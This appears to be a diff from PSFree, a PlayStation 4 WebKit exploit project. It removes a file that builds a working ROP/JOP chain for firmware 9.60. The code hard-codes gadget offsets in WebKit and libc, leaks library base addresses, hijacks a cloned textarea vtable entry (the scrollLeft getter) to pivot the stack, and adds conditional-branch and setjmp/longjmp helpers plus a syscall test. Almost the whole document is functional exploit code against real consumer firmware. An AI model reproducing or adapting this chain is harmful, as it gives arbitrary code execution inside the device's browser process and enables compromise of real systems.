||||||
chain.start_branch();
|
|
||||||
|
|
||||||
log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_call(longjmp_addr, jmp_buf_p);
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
// The ROP chain is a noop. If we crashed, then we did something wrong.
|
|
||||||
alert('chain run');
|
|
||||||
log('test call setjmp()/longjmp()');
|
|
||||||
chain.run()
|
|
||||||
alert('returned successfully');
|
|
||||||
log('returned successfully');
|
|
||||||
log('jmp_buf:');
|
|
||||||
log(jmp_buf);
|
|
||||||
log(`flag: ${rw.read64(chain.flag, 0)}`);
|
|
||||||
|
|
||||||
const state1 = new Uint8Array(8);
|
|
||||||
log('test if rax == 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state1));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(0);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
log(`state1 must be 1: ${state1}`);
|
|
||||||
if (state1[0] !== 1) {
|
|
||||||
die('if branch not taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
const state2 = new Uint8Array(8);
|
|
||||||
log('test if rax != 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state2));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
log(`state2 must be 2: ${state2}`);
|
|
||||||
if (state2[0] !== 2) {
|
|
||||||
die('if branch taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
log('test syscall getuid()');
|
|
||||||
chain.clean();
|
|
||||||
// Set the return value to some random value. If the syscall worked, then
|
|
||||||
// it will likely change.
|
|
||||||
const magic = 0x4b435546;
|
|
||||||
rw.write32(chain._return_value, 0, magic);
|
|
||||||
|
|
||||||
chain.syscall('getuid');
|
|
||||||
|
|
||||||
log(`return value: ${chain.return_value}`);
|
|
||||||
if (chain.return_value.low() === magic) {
|
|
||||||
die('syscall getuid failed');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Chain900');
|
log('Chain900');
|
||||||
//test_rop(Chain);
|
|
||||||
|
|||||||
-684
@@ -1,684 +0,0 @@
|
|||||||
/* Copyright (C) 2024 anonymous
|
|
||||||
|
|
||||||
This file is part of PSFree.
|
|
||||||
|
|
||||||
PSFree is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU Affero General Public License as
|
|
||||||
published by the Free Software Foundation, either version 3 of the
|
|
||||||
License, or (at your option) any later version.
|
|
||||||
|
|
||||||
PSFree is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU Affero General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Affero General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
||||||
|
|
||||||
// by janisslsm (John) and barooney from ps4-dev discord
|
|
||||||
|
|
||||||
import * as config from '../config.mjs';
|
|
||||||
|
|
||||||
import { Int } from '../module/int64.mjs';
|
|
||||||
import { debug_log, die } from '../module/utils.mjs';
|
|
||||||
import { Addr, mem } from '../module/mem.mjs';
|
|
||||||
import { KB, MB } from '../module/constants.mjs';
|
|
||||||
import { ChainBase } from '../module/chain.mjs';
|
|
||||||
|
|
||||||
import {
|
|
||||||
make_buffer,
|
|
||||||
find_base,
|
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as rw from '../module/rw.mjs';
|
|
||||||
import * as o from '../module/offset.mjs';
|
|
||||||
|
|
||||||
const origin = window.origin;
|
|
||||||
const port = '8000';
|
|
||||||
const url = `${origin}:${port}`;
|
|
||||||
|
|
||||||
const syscall_array = [];
|
|
||||||
|
|
||||||
const offset_textarea_impl = 0x18;
|
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
|
||||||
const offset_wk_stack_chk_fail = 0x178;
|
|
||||||
const offset_wk_memcpy = 0x188;
|
|
||||||
|
|
||||||
// libSceLibcInternal offsets
|
|
||||||
const offset_libc_setjmp = 0x21284;
|
|
||||||
const offset_libc_longjmp = 0x254DC;
|
|
||||||
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
|
|
||||||
//
|
|
||||||
// int setjmp(jmp_buf)
|
|
||||||
// noreturn longjmp(jmp_buf)
|
|
||||||
//
|
|
||||||
// This version of longjmp() does not take another argument to be used as
|
|
||||||
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
|
|
||||||
// rax. Change it if you want a specific value from setjmp() after the
|
|
||||||
// longjmp().
|
|
||||||
const jmp_buf_size = 0xc8;
|
|
||||||
let setjmp_addr = null;
|
|
||||||
let longjmp_addr = null;
|
|
||||||
|
|
||||||
// libSceNKWebKit.sprx
|
|
||||||
let libwebkit_base = null;
|
|
||||||
// libkernel_web.sprx
|
|
||||||
let libkernel_base = null;
|
|
||||||
// libSceLibcInternal.sprx
|
|
||||||
let libc_base = null;
|
|
||||||
|
|
||||||
// Chain implementation based on Chain800. Replaced offsets that changed
|
|
||||||
// between versions. Replaced gadgets that were missing with new ones that
|
|
||||||
// won't change the API.
|
|
||||||
|
|
||||||
// gadgets for the JOP chain
|
|
||||||
//
|
|
||||||
// When the scrollLeft getter native function is called on PS4 9.60, rsi is the
|
|
||||||
// JS wrapper for the WebCore textarea class.
|
|
||||||
const jop1 = `
|
|
||||||
mov rdi, qword ptr [rsi + 0x20]
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x28]
|
|
||||||
`;
|
|
||||||
// Since the method of code redirection we used is via redirecting a call to
|
|
||||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
|
||||||
//
|
|
||||||
// jop1 pushed another object (via the call instruction) but we want no extra
|
|
||||||
// objects between the return address and the rbp that will be pushed by jop3
|
|
||||||
// later. So we pop the return address pushed by jop1.
|
|
||||||
//
|
|
||||||
// This will make pivoting back easy, just "leave; ret".
|
|
||||||
const jop2 = `
|
|
||||||
pop rsi
|
|
||||||
cmc
|
|
||||||
jmp qword ptr [rax + 0x7c]
|
|
||||||
`;
|
|
||||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
|
||||||
// ignored
|
|
||||||
const jop3 = `
|
|
||||||
push rbp
|
|
||||||
mov rbp, rsp
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x58]
|
|
||||||
`;
|
|
||||||
const jop4 = `
|
|
||||||
mov rdx, qword ptr [rax + 0x18]
|
|
||||||
mov rax, qword ptr [rdi]
|
|
||||||
call qword ptr [rax + 0x10]
|
|
||||||
`;
|
|
||||||
const jop5 = `
|
|
||||||
push rdx
|
|
||||||
jmp qword ptr [rax]
|
|
||||||
`;
|
|
||||||
const jop6 = 'pop rsp; ret';
|
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
|
||||||
//
|
|
||||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
|
||||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
|
||||||
// restore rbp (if needed) before the epilogue.
|
|
||||||
//
|
|
||||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
|
||||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
|
||||||
//
|
|
||||||
// leave instruction equivalent:
|
|
||||||
// mov rsp, rbp
|
|
||||||
// pop rbp
|
|
||||||
const rop_epilogue = 'leave; ret';
|
|
||||||
|
|
||||||
const push_rdx_jmp = `
|
|
||||||
push rdx
|
|
||||||
jmp qword ptr [rax]
|
|
||||||
`;
|
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
|
||||||
'pop rax; ret' : 0x0000000000011c46,
|
|
||||||
'pop rbx; ret' : 0x0000000000013730,
|
|
||||||
'pop rcx; ret' : 0x0000000000035a1e,
|
|
||||||
'pop rdx; ret' : 0x000000000018de52,
|
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6,
|
|
||||||
'pop rsi; ret' : 0x0000000000092a8c,
|
|
||||||
'pop rdi; ret' : 0x000000000005d19d,
|
|
||||||
'pop rsp; ret' : 0x00000000000253e0,
|
|
||||||
|
|
||||||
'pop r8; ret' : 0x000000000003fe32,
|
|
||||||
'pop r9; ret' : 0x0000000000aaad51,
|
|
||||||
'pop r11; ret' : 0x0000000000520109,
|
|
||||||
|
|
||||||
'pop r12; ret' : 0x0000000000420ad1,
|
|
||||||
'pop r13; ret' : 0x00000000018fc4c1,
|
|
||||||
'pop r14; ret' : 0x000000000028c900,
|
|
||||||
'pop r15; ret' : 0x00000000001619db,
|
|
||||||
|
|
||||||
'ret' : 0x0000000000000032,
|
|
||||||
'leave; ret' : 0x0000000000056322,
|
|
||||||
|
|
||||||
'neg rax; and rax, rcx; ret' : 0x00000000014d2af4,
|
|
||||||
'adc esi, esi; ret' : 0x00000000004fd968,
|
|
||||||
'add rax, rdx; ret' : 0x00000000006d1a88,
|
|
||||||
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06,
|
|
||||||
'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741,
|
|
||||||
|
|
||||||
'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350,
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671,
|
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07,
|
|
||||||
'mov rdx, rcx; ret' : 0x0000000000b9cb04,
|
|
||||||
'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca,
|
|
||||||
|
|
||||||
[push_rdx_jmp] : 0x00000000002b7a9c,
|
|
||||||
|
|
||||||
[jop1] : 0x0000000000d01378,
|
|
||||||
[jop2] : 0x0000000002bf3741,
|
|
||||||
[jop3] : 0x00000000001a75a0,
|
|
||||||
[jop4] : 0x000000000035fc94,
|
|
||||||
[jop5] : 0x00000000002b7a9c,
|
|
||||||
[jop6] : 0x00000000000253e0,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
|
||||||
'neg rax; ret' : 0x00000000000d2923,
|
|
||||||
'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cda59,
|
|
||||||
'setjmp' : offset_libc_setjmp,
|
|
||||||
'longjmp' : offset_libc_longjmp,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const gadgets = new Map();
|
|
||||||
|
|
||||||
function get_bases() {
|
|
||||||
const textarea = document.createElement('textarea');
|
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
|
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
|
||||||
const libwebkit_base = find_base(textarea_vtable, true, true);
|
|
||||||
|
|
||||||
const stack_chk_fail_import =
|
|
||||||
libwebkit_base
|
|
||||||
.add(offset_wk_stack_chk_fail)
|
|
||||||
;
|
|
||||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
|
||||||
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
|
|
||||||
|
|
||||||
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
|
|
||||||
const memcpy_addr = resolve_import(memcpy_import);
|
|
||||||
const libc_base = find_base(memcpy_addr, true, true);
|
|
||||||
|
|
||||||
return [
|
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|
||||||
for (const [insn, offset] of offset_map) {
|
|
||||||
gadget_map.set(insn, base_addr.add(offset));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class Chain950Base extends ChainBase {
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
// for conditional jumps
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
this.flag = new Uint8Array(8);
|
|
||||||
this.flag_addr = get_view_vector(this.flag);
|
|
||||||
this.jmp_target = new Uint8Array(0x100);
|
|
||||||
rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp));
|
|
||||||
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
|
|
||||||
|
|
||||||
// for save/restore
|
|
||||||
this.is_saved = false;
|
|
||||||
const jmp_buf_size = 0xc8;
|
|
||||||
this.jmp_buf = new Uint8Array(jmp_buf_size);
|
|
||||||
this.jmp_buf_p = get_view_vector(this.jmp_buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
// sequence to pivot back and return
|
|
||||||
push_end() {
|
|
||||||
this.push_gadget(rop_epilogue);
|
|
||||||
}
|
|
||||||
|
|
||||||
check_is_branching() {
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
throw Error('chain is still branching, end it before running');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
push_value(value) {
|
|
||||||
super.push_value(value);
|
|
||||||
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
this.branch_position += 8;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_clean_branch_ctx() {
|
|
||||||
this.is_branch_ctx = false;
|
|
||||||
this.branch_position = null;
|
|
||||||
this.delta_slot = null;
|
|
||||||
this.rsp_slot = null;
|
|
||||||
this.rsp_position = null;
|
|
||||||
}
|
|
||||||
|
|
||||||
clean() {
|
|
||||||
super.clean();
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
this.is_saved = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use start_branch() and end_branch() to delimit a ROP chain that will
|
|
||||||
// conditionally execute. rax must be set accordingly before the branch.
|
|
||||||
// rax == 0 means execute the conditional chain.
|
|
||||||
//
|
|
||||||
// example that always execute the conditional chain:
|
|
||||||
// chain.push_gadget('mov rax, 0; ret');
|
|
||||||
// chain.start_branch();
|
|
||||||
// chain.push_gadget('pop rbx; ret'); // always executed
|
|
||||||
// chain.end_branch();
|
|
||||||
start_branch() {
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
throw Error('chain already branching, end it first');
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi, rsi
|
|
||||||
//
|
|
||||||
// u64 flag = 0 if -rax == 0 else 1
|
|
||||||
// *flag_addr = flag
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(-1);
|
|
||||||
this.push_gadget('neg rax; ret');
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('adc esi, esi; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rsi; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
// rcx = delta
|
|
||||||
// rax = -rax & rcx
|
|
||||||
// *flag_addr = rax
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// dummy value, overwritten later by end_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.delta_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('neg rax; and rax, rcx; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdx, rsi
|
|
||||||
//
|
|
||||||
// rcx = rsp_position
|
|
||||||
// rsi = rsp
|
|
||||||
// rcx += rsi
|
|
||||||
// rdx = rcx
|
|
||||||
//
|
|
||||||
// dummy value, overwritten later at the end of start_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.rsp_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_value(this.stack_addr.add(this.position + 8));
|
|
||||||
|
|
||||||
// rsp collected here, start counting how much to perturb rsp
|
|
||||||
this.branch_position = 0;
|
|
||||||
this.is_branch_ctx = true;
|
|
||||||
|
|
||||||
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
|
|
||||||
this.push_gadget('mov rdx, rcx; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax += rdx
|
|
||||||
// new_rsp = rax
|
|
||||||
this.push_gadget('add rax, rdx; ret');
|
|
||||||
|
|
||||||
// clobbers rdi
|
|
||||||
//
|
|
||||||
// for debugging, save new_rsp to flag_addr so we can verify it later
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rdx, rcx
|
|
||||||
//
|
|
||||||
// rdx = rax
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rdx, rsi, rsp
|
|
||||||
//
|
|
||||||
// rsp = rdx
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(get_view_vector(this.jmp_target));
|
|
||||||
this.push_gadget('pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]');
|
|
||||||
this.push_constant(0); // padding for the push
|
|
||||||
|
|
||||||
this.rsp_position = this.branch_position;
|
|
||||||
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
|
|
||||||
}
|
|
||||||
|
|
||||||
end_branch() {
|
|
||||||
if (!this.is_branch_ctx) {
|
|
||||||
throw Error('can not end nonbranching chain');
|
|
||||||
}
|
|
||||||
|
|
||||||
const delta = this.branch_position - this.rsp_position;
|
|
||||||
rw.write64(this.stack, this.delta_slot, new Int(delta));
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rdi, rsi
|
|
||||||
push_save() {
|
|
||||||
if (this.is_saved) {
|
|
||||||
throw Error('restore first before saving again');
|
|
||||||
}
|
|
||||||
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
|
|
||||||
this.is_saved = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Force a push_restore() if at runtime you can ensure the save/restore
|
|
||||||
// pair line up.
|
|
||||||
push_restore(is_force=false) {
|
|
||||||
if (!this.is_saved && !is_force) {
|
|
||||||
throw Error('save first before restoring');
|
|
||||||
}
|
|
||||||
// modify jmp_buf.rsp
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
const rsp_slot = this.position;
|
|
||||||
// dummy value, overwritten later at the end of push_restore()
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x38));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// modify jmp_buf.return_address
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.get_gadget('ret'));
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x80));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
|
|
||||||
|
|
||||||
// Padding as longjmp() pushes the rdi and return address in the
|
|
||||||
// jmp_buf at the target rsp.
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_constant(0);
|
|
||||||
const target_rsp = this.stack_addr.add(this.position);
|
|
||||||
|
|
||||||
rw.write64(this.stack, rsp_slot, target_rsp);
|
|
||||||
this.is_saved = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
push_get_retval() {
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.retval_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
}
|
|
||||||
|
|
||||||
call(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('call() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_call(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
|
|
||||||
return this.return_value;
|
|
||||||
}
|
|
||||||
|
|
||||||
syscall(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('syscall() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_syscall(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
|
|
||||||
return this.return_value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// helper object for ROP
|
|
||||||
const rop_ta = document.createElement('textarea');
|
|
||||||
|
|
||||||
// Chain for PS4 9.60
|
|
||||||
class Chain950 extends Chain950Base {
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
// sizeof JSC:JSObject, the JSCell + the butterfly field
|
|
||||||
const js_size = 0x10;
|
|
||||||
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
|
|
||||||
const js_ta_size = 0x20;
|
|
||||||
// start of the array of inline properties (JSValues)
|
|
||||||
const offset_js_inline_prop = 0x10;
|
|
||||||
// Sizes may vary between webkit versions so we just assume a size
|
|
||||||
// that we think is large enough for all of them.
|
|
||||||
const vtable_size = 0x1000;
|
|
||||||
const webcore_ta_size = 0x180;
|
|
||||||
|
|
||||||
const ta_clone = {};
|
|
||||||
this.ta_clone = ta_clone;
|
|
||||||
const clone_p = mem.addrof(ta_clone);
|
|
||||||
const ta_p = mem.addrof(rop_ta);
|
|
||||||
|
|
||||||
for (let i = js_size; i < js_ta_size; i += 8) {
|
|
||||||
clone_p.write64(i, ta_p.read64(i));
|
|
||||||
}
|
|
||||||
|
|
||||||
const webcore_ta = ta_p.readp(offset_textarea_impl);
|
|
||||||
const m_wrapped_clone = new Uint8Array(
|
|
||||||
make_buffer(webcore_ta, webcore_ta_size)
|
|
||||||
);
|
|
||||||
this.m_wrapped_clone = m_wrapped_clone;
|
|
||||||
|
|
||||||
// Replicate the vtable as much as possible or else the garbage
|
|
||||||
// collector will crash. It uses functions from the vtable.
|
|
||||||
//
|
|
||||||
// There is no need to restore the original vtable pointer later since
|
|
||||||
// it points to a copy with only offset 0x1b8 changed. The scrollLeft
|
|
||||||
// getter is not used by the GC.
|
|
||||||
const vtable_clone = new Uint8Array(
|
|
||||||
make_buffer(webcore_ta.readp(0), vtable_size)
|
|
||||||
);
|
|
||||||
this.vtable_clone = vtable_clone
|
|
||||||
|
|
||||||
clone_p.write64(
|
|
||||||
offset_textarea_impl,
|
|
||||||
get_view_vector(m_wrapped_clone),
|
|
||||||
);
|
|
||||||
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
|
|
||||||
|
|
||||||
clone_p.write64(0, ta_p.read64(0));
|
|
||||||
|
|
||||||
// 0x1b8 is the offset of the scrollLeft getter native function
|
|
||||||
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
|
|
||||||
|
|
||||||
// for the JOP chain
|
|
||||||
const rax_ptrs = new Uint8Array(0x100);
|
|
||||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
|
||||||
this.rax_ptrs = rax_ptrs;
|
|
||||||
|
|
||||||
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
|
|
||||||
rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3));
|
|
||||||
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
|
|
||||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
|
|
||||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
|
|
||||||
// value to pivot rsp to
|
|
||||||
rw.write64(rax_ptrs, 0x18, this.stack_addr);
|
|
||||||
|
|
||||||
const jop_buffer = new Uint8Array(8);
|
|
||||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
|
||||||
this.jop_buffer = jop_buffer;
|
|
||||||
|
|
||||||
rw.write64(jop_buffer, 0, rax_ptrs_p);
|
|
||||||
|
|
||||||
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
|
|
||||||
}
|
|
||||||
|
|
||||||
run() {
|
|
||||||
this.check_stale();
|
|
||||||
this.check_is_empty();
|
|
||||||
this.check_is_branching();
|
|
||||||
|
|
||||||
// jump to JOP chain
|
|
||||||
this.ta_clone.scrollLeft;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
const Chain = Chain950;
|
|
||||||
|
|
||||||
function init(Chain) {
|
|
||||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
|
||||||
|
|
||||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
|
||||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
|
||||||
debug_log('syscall_array:');
|
|
||||||
debug_log(syscall_array);
|
|
||||||
Chain.init_class(gadgets, syscall_array);
|
|
||||||
}
|
|
||||||
|
|
||||||
function test_rop(Chain) {
|
|
||||||
const jmp_buf = new Uint8Array(jmp_buf_size);
|
|
||||||
const jmp_buf_p = get_view_vector(jmp_buf);
|
|
||||||
|
|
||||||
init(Chain);
|
|
||||||
|
|
||||||
setjmp_addr = gadgets.get('setjmp');
|
|
||||||
longjmp_addr = gadgets.get('longjmp');
|
|
||||||
|
|
||||||
const chain = new Chain();
|
|
||||||
// Instead of writing to the jmp_buf, set rax here so it will be restored
|
|
||||||
// as the return value after the longjmp().
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_call(setjmp_addr, jmp_buf_p);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
|
|
||||||
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_call(longjmp_addr, jmp_buf_p);
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
// The ROP chain is a noop. If we crashed, then we did something wrong.
|
|
||||||
alert('chain run');
|
|
||||||
debug_log('test call setjmp()/longjmp()');
|
|
||||||
chain.run()
|
|
||||||
alert('returned successfully');
|
|
||||||
debug_log('returned successfully');
|
|
||||||
debug_log('jmp_buf:');
|
|
||||||
debug_log(jmp_buf);
|
|
||||||
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
|
|
||||||
|
|
||||||
const state1 = new Uint8Array(8);
|
|
||||||
debug_log('test if rax == 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state1));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(0);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
